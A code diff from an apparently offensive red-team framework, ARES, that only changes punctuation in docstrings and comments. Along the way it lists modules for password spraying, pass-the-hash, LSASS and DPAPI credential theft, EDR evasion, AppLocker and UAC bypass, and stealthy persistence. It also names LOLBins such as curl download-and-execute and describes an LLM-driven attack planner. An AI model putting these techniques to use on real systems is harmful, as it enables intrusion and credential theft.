domain: str = param("Target domain FQDN", min_length=3, pattern=r"^[\w.-]+$")
domain_sid: str = param(
@@ -603,7 +603,7 @@ class GoldenTicketParams(ModuleParams):
class PassSprayParams(ModuleParams):
- """credential.pass_spray — Password spraying against LDAP/SMB."""
+ """credential.pass_spray - Password spraying against LDAP/SMB."""
target: str = param("DC or target IP/hostname", min_length=3, max_length=253)
domain: str = param("Domain FQDN", required=False, default="", max_length=253)
@@ -622,7 +622,7 @@ class PassSprayParams(ModuleParams):
class PassTheHashParams(ModuleParams):
- """credential.pass_the_hash — SMB pass-the-hash authentication."""
+ """credential.pass_the_hash - SMB pass-the-hash authentication."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
username: str = param("Username", min_length=1, max_length=256)
@@ -643,7 +643,7 @@ class PassTheHashParams(ModuleParams):
class CredentialReuseParams(ModuleParams):
- """credential.reuse — Test captured credentials against a target."""
+ """credential.reuse - Test captured credentials against a target."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
protocol: str = param(
@@ -658,7 +658,7 @@ class CredentialReuseParams(ModuleParams):
class SecretsScanParams(ModuleParams):
- """exfil.secrets_scan — SSH remote scan for credential patterns."""
+ """exfil.secrets_scan - SSH remote scan for credential patterns."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
username: str = param("SSH username", min_length=1, max_length=256)
@@ -677,7 +677,7 @@ class SecretsScanParams(ModuleParams):
class SmbSharesParams(ModuleParams):
- """exfil.smb_shares — Enumerate SMB shares and search for sensitive files."""
+ """exfil.smb_shares - Enumerate SMB shares and search for sensitive files."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
username: str = param("Username", min_length=1, max_length=256)
@@ -691,7 +691,7 @@ class SmbSharesParams(ModuleParams):
class StagedCollectionParams(ModuleParams):
- """exfil.staged_collection — Collect files matching patterns via SSH."""
+ """exfil.staged_collection - Collect files matching patterns via SSH."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
username: str = param("SSH username", min_length=1, max_length=256)
@@ -714,7 +714,7 @@ class StagedCollectionParams(ModuleParams):
class LateralBaseParams(ModuleParams):
- """Shared params for lateral movement modules (remote execution — command runs on target)."""
+ """Shared params for lateral movement modules (remote execution - command runs on target)."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
username: str = param("Username", min_length=1, max_length=256)
@@ -731,7 +731,7 @@ class LateralBaseParams(ModuleParams):
class DCOMParams(LateralBaseParams):
- """lateral.dcom — DCOM lateral movement via MMC20/ShellWindows."""
+ """lateral.dcom - DCOM lateral movement via MMC20/ShellWindows."""
method: str = param(
"DCOM method: auto|mmc20|shellwindows|shellbrowserwindow",
@@ -742,7 +742,7 @@ class DCOMParams(LateralBaseParams):
class PsExecParams(LateralBaseParams):
- """lateral.psexec — PsExec-style lateral movement via SMB + SCM."""
+ """lateral.psexec - PsExec-style lateral movement via SMB + SCM."""
service_name: str = param(
"Temporary service name", required=False, default="", max_length=256
@@ -750,25 +750,25 @@ class PsExecParams(LateralBaseParams):
class WmiExecParams(LateralBaseParams):
- """lateral.wmiexec — WMI remote execution."""
+ """lateral.wmiexec - WMI remote execution."""
pass
class WinRMParams(LateralBaseParams):
- """lateral.winrm — WinRM PowerShell remote execution."""
+ """lateral.winrm - WinRM PowerShell remote execution."""
pass
class RDPLateralParams(LateralBaseParams):
- """lateral.rdp — RDP lateral movement (HIGH_NOISE)."""
+ """lateral.rdp - RDP lateral movement (HIGH_NOISE)."""
pass
class SSHPivotParams(ModuleParams):
- """lateral.ssh_pivot — SSH tunnel SOCKS5 pivot."""
+ """lateral.ssh_pivot - SSH tunnel SOCKS5 pivot."""
target: str = param("SSH server IP or hostname", min_length=3, max_length=253)
username: str = param("SSH username", min_length=1, max_length=256)
@@ -785,7 +785,7 @@ class SSHPivotParams(ModuleParams):
class SMBRelayParams(ModuleParams):
- """lateral.smb_relay — SMB signing audit and relay candidate detection."""
+ """lateral.smb_relay - SMB signing audit and relay candidate detection."""
target: str | None = param(
"Single target to check", required=False, default=None, max_length=253
@@ -812,31 +812,31 @@ class LinuxSSHParams(ModuleParams):
class ContainerEscapeParams(LinuxSSHParams):
- """linux.container — Docker/K8s container escape techniques."""
+ """linux.container - Docker/K8s container escape techniques."""
pass
class KernelSuggesterParams(LinuxSSHParams):
- """linux.kernel_suggester — Kernel exploit suggester via uname."""
+ """linux.kernel_suggester - Kernel exploit suggester via uname."""
pass
class LDPreloadParams(LinuxSSHParams):
- """linux.ld_preload — LD_PRELOAD privilege escalation."""
+ """linux.ld_preload - LD_PRELOAD privilege escalation."""
pass
class NFSEscapeParams(LinuxSSHParams):
- """linux.nfs_escape — NFS no_root_squash escape."""
+ """linux.nfs_escape - NFS no_root_squash escape."""
pass
class ServiceHijackParams(LinuxSSHParams):
- """linux.service_hijack — Writable systemd service hijack."""
+ """linux.service_hijack - Writable systemd service hijack."""
pass
@@ -845,7 +845,7 @@ class ServiceHijackParams(LinuxSSHParams):
class PortScanParams(ModuleParams):
- """network.port_scan — TCP port scan."""
+ """network.port_scan - TCP port scan."""
target: str = param("Target IP, hostname, or CIDR", min_length=3, max_length=253)
ports: str = param(
@@ -863,7 +863,7 @@ class PortScanParams(ModuleParams):
class DNSEnumParams(ModuleParams):
- """network.dns_enum — DNS enumeration and zone transfer attempt."""
+ """network.dns_enum - DNS enumeration and zone transfer attempt."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
domain: str = param(
@@ -873,7 +873,7 @@ class DNSEnumParams(ModuleParams):
class HTTPFingerprintParams(ModuleParams):
- """network.http_fingerprint — HTTP service and tech fingerprinting."""
+ """network.http_fingerprint - HTTP service and tech fingerprinting."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
ports: list[int] = param(
@@ -887,7 +887,7 @@ class HTTPFingerprintParams(ModuleParams):
class SNMPEnumParams(ModuleParams):
- """network.snmp_enum — SNMP community brute-force and OID walk."""
+ """network.snmp_enum - SNMP community brute-force and OID walk."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
port: int = param("SNMP UDP port", required=False, default=161, ge=1, le=65535)
@@ -899,7 +899,7 @@ class SNMPEnumParams(ModuleParams):
class ServiceDetectParams(ModuleParams):
- """network.service_detect — Banner-grab service version detection."""
+ """network.service_detect - Banner-grab service version detection."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
ports: list[int] = param("Ports to check", required=False, default=[])
@@ -909,7 +909,7 @@ class ServiceDetectParams(ModuleParams):
class PivotParams(ModuleParams):
- """network.pivot — SSH tunnel SOCKS5 pivot infrastructure."""
+ """network.pivot - SSH tunnel SOCKS5 pivot infrastructure."""
target: str = param("Pivot host IP or hostname", min_length=3, max_length=253)
username: str = param("SSH username", min_length=1, max_length=256)
@@ -941,7 +941,7 @@ class PersistenceBaseParams(ModuleParams):
class ScheduledTaskParams(PersistenceBaseParams):
- """persistence.scheduled_task — Windows scheduled task persistence."""
+ """persistence.scheduled_task - Windows scheduled task persistence."""
task_name: str = param(
"Scheduled task name",
@@ -959,7 +959,7 @@ class ScheduledTaskParams(PersistenceBaseParams):
class RegistryRunParams(PersistenceBaseParams):
- """persistence.registry_run — Registry Run key persistence."""
+ """persistence.registry_run - Registry Run key persistence."""
key_name: str = param(
"Run key value name",
@@ -977,7 +977,7 @@ class RegistryRunParams(PersistenceBaseParams):
class WMISubscriptionParams(PersistenceBaseParams):
- """persistence.wmi_subscription — WMI event subscription persistence."""
+ """persistence.wmi_subscription - WMI event subscription persistence."""
subscription_name: str = param(
"WMI subscription name",
@@ -998,7 +998,7 @@ class WMISubscriptionParams(PersistenceBaseParams):
class FingerprintParams(ModuleParams):
- """recon.fingerprint — Environment fingerprinting (EDR, OS, domain)."""
+ """recon.fingerprint - Environment fingerprinting (EDR, OS, domain)."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
timeout: float = param(
@@ -1031,7 +1031,7 @@ class WindowsBaseParams(ModuleParams):
class AppLockerBypassParams(WindowsBaseParams):
- """windows.applocker_bypass — AppLocker policy enumeration and bypass."""
+ """windows.applocker_bypass - AppLocker policy enumeration and bypass."""
command: str = param(
"Command to execute if bypass found",
@@ -1042,7 +1042,7 @@ class AppLockerBypassParams(WindowsBaseParams):
class DPAPIParams(WindowsBaseParams):
- """windows.dpapi — DPAPI credential and browser password decryption."""
+ """windows.dpapi - DPAPI credential and browser password decryption."""
targets: list[str] = param(
"DPAPI target types: chrome|wifi|rdp|credentials",
@@ -1052,13 +1052,13 @@ class DPAPIParams(WindowsBaseParams):
class LSASecretsParams(WindowsBaseParams):
- """windows.lsa_secrets — LSA secrets and cached credential extraction."""
+ """windows.lsa_secrets - LSA secrets and cached credential extraction."""
pass
class LsassDumpParams(WindowsBaseParams):
- """windows.lsass_dump — LSASS process memory dump and parsing."""
+ """windows.lsass_dump - LSASS process memory dump and parsing."""
technique: str = param(
"Dump technique: comsvcs|secretsdump",
@@ -1069,19 +1069,19 @@ class LsassDumpParams(WindowsBaseParams):
class RegistryEnumParams(WindowsBaseParams):
- """windows.registry_enum — Registry credential hunting."""
+ """windows.registry_enum - Registry credential hunting."""
pass
class ScheduledTasksEnumParams(WindowsBaseParams):
- """windows.scheduled_tasks_enum — Scheduled task enumeration for privesc."""
+ """windows.scheduled_tasks_enum - Scheduled task enumeration for privesc."""
pass
class TokenImpersonationParams(ModuleParams):
- """windows.token_impersonation — Token impersonation via named pipe."""
+ """windows.token_impersonation - Token impersonation via named pipe."""
target: str = param("Target IP or hostname", min_length=3, max_length=253)
username: str = param("Username", min_length=1, max_length=256)
@@ -1092,7 +1092,7 @@ class TokenImpersonationParams(ModuleParams):
class UACBypassParams(WindowsBaseParams):
- """windows.uac_bypass — UAC configuration check and bypass."""
+ """windows.uac_bypass - UAC configuration check and bypass."""
technique: str = param(
"Bypass technique: auto|fodhelper|eventvwr",
@@ -1103,7 +1103,7 @@ class UACBypassParams(WindowsBaseParams):
class CoveragePredictorParams(ModuleParams):
- """opsec.coverage_predictor — Detection probability scoring."""
+ """opsec.coverage_predictor - Detection probability scoring."""
noise_profile: str = param(
"Campaign noise profile for scoring",
@@ -1114,7 +1114,7 @@ class CoveragePredictorParams(ModuleParams):
class CloudFederationParams(ModuleParams):
- """cloud.identity_federation_abuse — Cross-cloud SAML/OIDC federation abuse."""
+ """cloud.identity_federation_abuse - Cross-cloud SAML/OIDC federation abuse."""
tenant_id: str | None = param("Azure tenant ID", required=False, default=None)
client_id: str | None = param("Azure client ID", required=False, default=None)
@@ -1146,7 +1146,7 @@ class CloudFederationParams(ModuleParams):
class PhantomTokenParams(ModuleParams):
- """cloud.phantom_token — Hybrid Entra ID & Primary Refresh Token (PRT) Hijack."""
+ """cloud.phantom_token - Hybrid Entra ID & Primary Refresh Token (PRT) Hijack."""
tenant_id: str = param(
"Target Azure AD / Entra ID Tenant ID or domain name (e.g. corp.onmicrosoft.com)",
@@ -1201,7 +1201,7 @@ class PhantomTokenParams(ModuleParams):
class EDRBypassParams(ModuleParams):
- """edr.bypass_adaptive — Adaptive EDR evasion."""
+ """edr.bypass_adaptive - Adaptive EDR evasion."""
edr_vendor: str = param(
"EDR vendor: crowdstrike|sentinelone|defender_atp|defender_av|carbon_black|cylance|unknown",
@@ -1216,7 +1216,7 @@ class EDRBypassParams(ModuleParams):
class AIPlannerParams(ModuleParams):
- """ai.autonomous_planner — LLM-powered attack chain planning."""
+ """ai.autonomous_planner - LLM-powered attack chain planning."""
goal: str = param(
"Attack goal: domain_admin|cloud_admin|data_exfil|persistence|full_compromise",
@@ -1247,7 +1247,7 @@ class AIPlannerParams(ModuleParams):
class MSSQLParams(ModuleParams):
- """Parameters for lateral.mssql — validated before execution."""
+ """Parameters for lateral.mssql - validated before execution."""
target: str = Field(
..., min_length=1, max_length=253, description="MSSQL server IP or hostname"
@@ -1261,7 +1261,7 @@ class MSSQLParams(ModuleParams):
command: str = Field(
default="whoami",
max_length=500,
- # Allow alphanumeric, spaces, and common cmd chars — block quotes and semicolons
+ # Allow alphanumeric, spaces, and common cmd chars - block quotes and semicolons
pattern=r"^[a-zA-Z0-9 /\.\-_=@:,\(\)\[\]\*\?]+$",
description="OS command to execute (no quotes or semicolons)",
)
diff --git a/ares/modules/persistence/__init__.py b/ares/modules/persistence/__init__.py
index 64694d6..ac461cf 100644
--- a/ares/modules/persistence/__init__.py
+++ b/ares/modules/persistence/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.persistence
+ARES - modules.persistence
Persistence mechanism modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/persistence/scheduled_task.py b/ares/modules/persistence/scheduled_task.py
index 6a8491b..128bb8d 100644
--- a/ares/modules/persistence/scheduled_task.py
+++ b/ares/modules/persistence/scheduled_task.py
@@ -1,18 +1,18 @@
"""
-ARES Persistence Module — Windows Scheduled Task (T1053.005)
+ARES Persistence Module - Windows Scheduled Task (T1053.005)
+ Registry Run Key (T1547.001)
Scheduled Task (ScheduledTaskPersistence):
- impacket dcerpc.v5.tsch — connect \\pipe\\atsvc, bind TSCHS UUID,
+ impacket dcerpc.v5.tsch - connect \\pipe\\atsvc, bind TSCHS UUID,
hSchRpcRegisterTask() with XML task definition that runs hidden at LOGON.
Registry Run Key (RegistryRunKeyPersistence):
- impacket dcerpc.v5.rrp — connect \\pipe\\winreg, bind RRP UUID,
+ impacket dcerpc.v5.rrp - connect \\pipe\\winreg, bind RRP UUID,
hOpenLocalMachine() → hBaseRegOpenKey(Run key) → hBaseRegSetValue() → hBaseRegCloseKey().
MITRE ATT&CK:
- T1053.005 — Scheduled Task/Job: Scheduled Task
- T1547.001 — Boot or Logon Autostart: Registry Run Keys
+ T1053.005 - Scheduled Task/Job: Scheduled Task
+ T1547.001 - Boot or Logon Autostart: Registry Run Keys
"""
from __future__ import annotations
@@ -69,7 +69,7 @@ _TASK_XML_TEMPLATE = """\
def _tsch_register_sync(target: str, username: str, password: str,
domain: str, lmhash: str, nthash: str,
task_name: str, command: str) -> None:
- """Register a scheduled task via impacket tsch RPC. Sync — call from run_in_executor."""
+ """Register a scheduled task via impacket tsch RPC. Sync - call from run_in_executor."""
from impacket.dcerpc.v5 import transport, tsch # type: ignore[import]
from impacket.dcerpc.v5.dtypes import NULL
@@ -110,7 +110,7 @@ def _tsch_register_sync(target: str, username: str, password: str,
)
class ScheduledTaskPersistence(BaseModule):
"""
- persistence.scheduled_task — Register a Windows scheduled task that executes at user logon via impacket tsch RPC (T1053.005)
+ persistence.scheduled_task - Register a Windows scheduled task that executes at user logon via impacket tsch RPC (T1053.005)
OPSEC: MEDIUM
MITRE: "T1053.005"
@@ -163,7 +163,7 @@ class ScheduledTaskPersistence(BaseModule):
if noise == NoiseProfile.STEALTH:
score = 0.3
risk = "high_noise"
- blockers.append("Scheduled task registration generates Windows Security Event ID 4698 — blocked in STEALTH")
+ blockers.append("Scheduled task registration generates Windows Security Event ID 4698 - blocked in STEALTH")
recommendations.append("persistence.wmi_subscription")
session = getattr(ctx, "session", None)
@@ -202,7 +202,7 @@ class ScheduledTaskPersistence(BaseModule):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- "persistence.scheduled_task requires 'target' — IP of Windows host.",
+ "persistence.scheduled_task requires 'target' - IP of Windows host.",
module_id=self.MODULE_ID, field="target",
)
if not ctx.params.get("username"):
@@ -444,7 +444,7 @@ def _rrp_set_run_key(target: str, username: str, password: str,
)
class RegistryRunKeyPersistence(BaseModule):
"""
- persistence.registry_run — Add payload to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
+ persistence.registry_run - Add payload to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
OPSEC: MEDIUM
MITRE: T1547.001
diff --git a/ares/modules/persistence/wmi_subscription.py b/ares/modules/persistence/wmi_subscription.py
index abf0970..f0906eb 100644
--- a/ares/modules/persistence/wmi_subscription.py
+++ b/ares/modules/persistence/wmi_subscription.py
@@ -4,7 +4,7 @@ MITRE: T1546.003
Creates a WMI event subscription (FilterToConsumerBinding) that executes
a command when a specified event fires (e.g., user logon, time trigger).
-Extremely stealthy — survives reboots, not visible in Autoruns by default.
+Extremely stealthy - survives reboots, not visible in Autoruns by default.
Requires: local admin on target.
"""
@@ -39,7 +39,7 @@ logger = get_logger("ares.modules.persistence.wmi_subscription")
)
class WMISubscriptionModule(BaseModule):
"""
- persistence.wmi_subscription — Create a WMI FilterToConsumerBinding that executes a command on event trigger — highly stealthy
+ persistence.wmi_subscription - Create a WMI FilterToConsumerBinding that executes a command on event trigger - highly stealthy
OPSEC: MEDIUM
MITRE: "T1546.003"
@@ -50,7 +50,7 @@ class WMISubscriptionModule(BaseModule):
MODULE_NAME = "WMI Event Subscription Persistence"
MODULE_CATEGORY = "persistence"
MODULE_DESCRIPTION = (
- "Create a WMI FilterToConsumerBinding that executes a command on event trigger — "
+ "Create a WMI FilterToConsumerBinding that executes a command on event trigger - "
"highly stealthy persistence that survives reboots"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
diff --git a/ares/modules/recon/__init__.py b/ares/modules/recon/__init__.py
index 6f875ff..ae2637f 100644
--- a/ares/modules/recon/__init__.py
+++ b/ares/modules/recon/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.recon
+ARES - modules.recon
Reconnaissance and fingerprinting modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/recon/fingerprint.py b/ares/modules/recon/fingerprint.py
index 0a9c578..d048914 100644
--- a/ares/modules/recon/fingerprint.py
+++ b/ares/modules/recon/fingerprint.py
@@ -1,7 +1,7 @@
"""
-Target Environment Fingerprinting — recon.fingerprint
-MITRE: T1082 — System Information Discovery
- T1518.001 — Security Software Discovery
+Target Environment Fingerprinting - recon.fingerprint
+MITRE: T1082 - System Information Discovery
+ T1518.001 - Security Software Discovery
Thin wrapper around ares/fingerprint/engine.py (650 lines, fully implemented).
Runs passive-first OS/domain/EDR fingerprinting BEFORE attack modules.
@@ -12,7 +12,7 @@ Key outputs:
- recommended_profile: stealth | normal | aggressive
- Stored to campaign._artifact_store for GoalEngine + AdaptiveOpsecEngine
-OPSEC: LOW — passive techniques first (banner grab, DNS PTR, NTLM challenge).
+OPSEC: LOW - passive techniques first (banner grab, DNS PTR, NTLM challenge).
No authentication required. No exploit sent to target.
"""
from __future__ import annotations
@@ -52,7 +52,7 @@ _HIGH_RISK_EDR = {"crowdstrike", "sentinelone", "defender_atp"}
)
class FingerprintModule(BaseModule):
"""
- recon.fingerprint — Passive-first OS, domain role, and EDR/AV detection before any attack module. Detects CrowdStrik
+ recon.fingerprint - Passive-first OS, domain role, and EDR/AV detection before any attack module. Detects CrowdStrik
OPSEC: LOW
MITRE: "T1082", "T1518.001"
@@ -83,7 +83,7 @@ class FingerprintModule(BaseModule):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- "recon.fingerprint requires 'target' — IP or hostname to fingerprint.",
+ "recon.fingerprint requires 'target' - IP or hostname to fingerprint.",
module_id=self.MODULE_ID, field="target",
)
@@ -241,7 +241,7 @@ class FingerprintModule(BaseModule):
edr=[e.value for e in result.edr_vendors],
risk=result.detection_risk)
- # Finding: EDR detected — warn operator before attack modules run
+ # Finding: EDR detected - warn operator before attack modules run
if result.edr_vendors:
edr_names = [e.value for e in result.edr_vendors]
is_high = any(e.value in _HIGH_RISK_EDR for e in result.edr_vendors)
@@ -251,12 +251,12 @@ class FingerprintModule(BaseModule):
description = (
f"Security software detected on {target}: {', '.join(edr_names)}. "
+ (
- "Advanced EDR (CrowdStrike/SentinelOne/Defender ATP) detected — "
+ "Advanced EDR (CrowdStrike/SentinelOne/Defender ATP) detected - "
"STEALTH noise profile strongly recommended. "
"HIGH_NOISE modules (dcsync, kerberoast burst, psexec) "
"will generate immediate alerts."
if is_high else
- f"EDR active — use NORMAL or STEALTH profile."
+ f"EDR active - use NORMAL or STEALTH profile."
)
),
severity = sev,
@@ -299,5 +299,5 @@ class FingerprintModule(BaseModule):
host = target, confidence = 0.95,
)
- raw["fingerprint_result"] = {k: v for k, v in raw.items()} # OUTPUTS key — shallow copy to avoid circular ref
+ raw["fingerprint_result"] = {k: v for k, v in raw.items()} # OUTPUTS key - shallow copy to avoid circular ref
return self._findings[:], raw
diff --git a/ares/modules/reporting/__init__.py b/ares/modules/reporting/__init__.py
index 9cd8951..f902f96 100644
--- a/ares/modules/reporting/__init__.py
+++ b/ares/modules/reporting/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.reporting
+ARES - modules.reporting
Campaign report generation
Public API for this package. Import from here in production code:
diff --git a/ares/modules/reporting/report_gen.py b/ares/modules/reporting/report_gen.py
index 2df0865..68027f2 100644
--- a/ares/modules/reporting/report_gen.py
+++ b/ares/modules/reporting/report_gen.py
@@ -227,7 +227,7 @@ def _build_mitre_map(findings: list[Any]) -> dict[str, list[dict[str, Any]]]:
tactic_map[tactic] = []
tactic_map[tactic].append(
{
- "technique": f.mitre_technique or "—",
+ "technique": f.mitre_technique or " - ",
"title": f.title,
"severity": f.severity.value,
}
@@ -661,7 +661,7 @@ _HTML_TEMPLATE = r"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
-<title>ARES Report — {{ campaign.name }}</title>
+<title>ARES Report - {{ campaign.name }}</title>
<style>
:root{--red:#e94560;--dark:#0a0f1e;--card:#111827;--border:#1e293b;--text:#e2e8f0;--muted:#6b7280}
*{box-sizing:border-box;margin:0;padding:0}body{font-family:'Segoe UI',system-ui,sans-serif;background:var(--dark);color:var(--text);line-height:1.6}
@@ -866,7 +866,7 @@ footer{margin-top:3rem;color:var(--muted);font-size:.82rem;border-top:1px solid
{% else %}
<div class="tactic-cell">
<div class="tactic-name">{{ tactic }}</div>
- <span style="font-size:.75rem;color:var(--muted)">—</span>
+ <span style="font-size:.75rem;color:var(--muted)"> - </span>
</div>
{% endif %}
{% endfor %}
@@ -898,7 +898,7 @@ footer{margin-top:3rem;color:var(--muted);font-size:.82rem;border-top:1px solid
</div>
{% endif %}
-<!-- Attack Graph — vanilla Canvas force-directed layout (no external deps) -->
+<!-- Attack Graph - vanilla Canvas force-directed layout (no external deps) -->
<h2>Attack Graph</h2>
<div id="graph-container">
<canvas id="gc" width="1060" height="490" style="width:100%;border-radius:8px;background:#0a0f1e"></canvas>
@@ -1950,7 +1950,7 @@ class ReportGenerator:
return out
lines: list[str] = [
- f"# ARES Report — {campaign.name}\n",
+ f"# ARES Report - {campaign.name}\n",
f"> **Client:** {campaign.client} · **Operator:** {campaign.operator} · **Generated:** {ctx['generated_at']}",
f"\n**Risk Score:** `{ctx['risk_score']:.1f}` · **Confirmed:** `{ctx['total_findings']}`\n",
"---\n",
diff --git a/ares/modules/sdk.py b/ares/modules/sdk.py
index 125f4dd..fbef4d9 100644
--- a/ares/modules/sdk.py
+++ b/ares/modules/sdk.py
@@ -50,7 +50,7 @@ Quick start:
)
async def run(self, **kwargs):
- # Legacy interface — prefer execute(ctx) instead
+ # Legacy interface - prefer execute(ctx) instead
ctx = ExecutionContext.for_test(**kwargs)
result = await self.execute(ctx)
return result.findings, result.raw
@@ -230,7 +230,7 @@ def timeout(seconds: int | float) -> Any:
return decorator
-# ── TestHelper — makes unit testing modules trivial ───────────────────────────
+# ── TestHelper - makes unit testing modules trivial ───────────────────────────
class ModuleTestHelper:
diff --git a/ares/modules/windows/__init__.py b/ares/modules/windows/__init__.py
index 5aec8d4..6db681f 100644
--- a/ares/modules/windows/__init__.py
+++ b/ares/modules/windows/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.windows
+ARES - modules.windows
Windows post-exploitation modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/windows/applocker_bypass.py b/ares/modules/windows/applocker_bypass.py
index fcbcf08..933f73f 100644
--- a/ares/modules/windows/applocker_bypass.py
+++ b/ares/modules/windows/applocker_bypass.py
@@ -10,10 +10,10 @@ Reads AppLocker rules from the registry and checks for:
4. Classic unsigned bypass paths (WMIC, mshta, wscript, cscript, etc.)
that may still be allowed under publisher or path rules
-This module is ENUMERATION ONLY — no code execution on target.
+This module is ENUMERATION ONLY - no code execution on target.
Operator uses findings to assess bypass feasibility.
-OPSEC: LOW — remote registry read + optional WinRM command for path writability.
+OPSEC: LOW - remote registry read + optional WinRM command for path writability.
Main detection surface is registry access audit (rarely enabled).
"""
from __future__ import annotations
@@ -48,10 +48,10 @@ _COLLECTIONS = ["Exe", "Script", "Msi", "Dll", "Appx"]
# Classic LOLBins that bypass application whitelisting when not explicitly blocked
_LOLBINS: list[dict[str, str]] = [
- {"binary": "mshta.exe", "technique": "Execute HTA files — often not in AppLocker rules"},
+ {"binary": "mshta.exe", "technique": "Execute HTA files - often not in AppLocker rules"},
{"binary": "wscript.exe", "technique": "Execute VBScript/JScript"},
{"binary": "cscript.exe", "technique": "Execute VBScript/JScript via cscript"},
- {"binary": "regsvr32.exe", "technique": "Squiblydoo — execute SCT file via COM"},
+ {"binary": "regsvr32.exe", "technique": "Squiblydoo - execute SCT file via COM"},
{"binary": "regasm.exe", "technique": "Execute .NET assembly via COM registration"},
{"binary": "regsvcs.exe", "technique": "Execute .NET assembly via COM services"},
{"binary": "installutil.exe", "technique": "Execute .NET assembly via installer utility"},
@@ -62,7 +62,7 @@ _LOLBINS: list[dict[str, str]] = [
{"binary": "wmic.exe", "technique": "Execute XSL via wmic /format"},
{"binary": "forfiles.exe", "technique": "Execute arbitrary commands via /c parameter"},
{"binary": "pcalua.exe", "technique": "Execute arbitrary program as child process"},
- {"binary": "bash.exe", "technique": "WSL bash — execute Linux binaries if WSL enabled"},
+ {"binary": "bash.exe", "technique": "WSL bash - execute Linux binaries if WSL enabled"},
{"binary": "pwsh.exe", "technique": "PowerShell 7+ unmanaged engine execution bypassing classic Windows PowerShell Constrained Language Mode"},
{"binary": "dotnet.exe", "technique": "Execute compiled DLL assemblies directly without msbuild/csc under trusted program files"},
{"binary": "curl.exe", "technique": "Native Windows curl download & execute (Windows 10 1803+)"},
@@ -91,7 +91,7 @@ _TRUSTED_WRITABLE_CANDIDATES: list[str] = [
)
class AppLockerBypassModule(BaseModule):
"""
- windows.applocker_bypass — Enumerate AppLocker policy from registry, identify enforcement mode, and detect writable trusted
+ windows.applocker_bypass - Enumerate AppLocker policy from registry, identify enforcement mode, and detect writable trusted
OPSEC: LOW
MITRE: "T1218", "T1574.001", "T1082"
@@ -130,7 +130,7 @@ class AppLockerBypassModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
@@ -269,7 +269,7 @@ class AppLockerBypassModule(BaseModule):
hBaseRegCloseKey, DCERPCException,
)
except ImportError:
- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}
+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}
logger.info("applocker_enum_start", target=target, username=username)
audit("applocker_enum", actor=username, source="operator",
@@ -441,7 +441,7 @@ class AppLockerBypassModule(BaseModule):
description=(
f"The following AppLocker rule collections are in Audit mode "
f"(not enforcing) on {target}: {', '.join(audit_only)}. "
- "Rules are logged but NOT blocked — any executable can still run."
+ "Rules are logged but NOT blocked - any executable can still run."
),
severity=Severity.HIGH,
mitre_technique="T1218",
@@ -530,7 +530,7 @@ class AppLockerBypassModule(BaseModule):
# ── Finding 4: Writable trusted path candidates ────────────────
self.finding(
- title=f"Potential Writable Trusted Paths on {target} — Manual Verification Needed",
+ title=f"Potential Writable Trusted Paths on {target} - Manual Verification Needed",
description=(
f"The following paths are commonly writable by low-privileged users "
f"on Windows systems and may fall within AppLocker trusted path rules: "
diff --git a/ares/modules/windows/dpapi.py b/ares/modules/windows/dpapi.py
index f29f8bd..dc0c2ea 100644
--- a/ares/modules/windows/dpapi.py
+++ b/ares/modules/windows/dpapi.py
@@ -1,7 +1,7 @@
"""
-DPAPI Protected Credential Recovery — windows.dpapi
-MITRE: T1555.004 — Credentials from Password Stores: Windows Credential Manager
- T1555.003 — Credentials from Web Browsers
+DPAPI Protected Credential Recovery - windows.dpapi
+MITRE: T1555.004 - Credentials from Password Stores: Windows Credential Manager
+ T1555.003 - Credentials from Web Browsers
Extracts credentials protected by Windows DPAPI (Data Protection API):
- Chrome/Edge saved passwords (Login Data SQLite DB)
@@ -11,11 +11,11 @@ Extracts credentials protected by Windows DPAPI (Data Protection API):
- Outlook/Teams tokens (AppData/Roaming)
Three decryption paths:
- 1. USER CONTEXT — CryptUnprotectData directly (running as target user)
- 2. DOMAIN BACKUP — DC backup key decrypts all blobs in domain (from lsa_secrets)
- 3. OFFLINE — SHA1(NT_HASH) derives DPAPI master key (from lsass_dump)
+ 1. USER CONTEXT - CryptUnprotectData directly (running as target user)
+ 2. DOMAIN BACKUP - DC backup key decrypts all blobs in domain (from lsa_secrets)
+ 3. OFFLINE - SHA1(NT_HASH) derives DPAPI master key (from lsass_dump)
-OPSEC: MEDIUM — file access only, no process injection.
+OPSEC: MEDIUM - file access only, no process injection.
Does not trigger EDR behavior rules by default.
"""
from __future__ import annotations
@@ -53,7 +53,7 @@ logger = get_logger("ares.modules.windows.dpapi")
)
class DPAPIModule(BaseModule):
"""
- windows.dpapi — Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, Windows Credential Manager, RDP
+ windows.dpapi - Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, Windows Credential Manager, RDP
OPSEC: MEDIUM
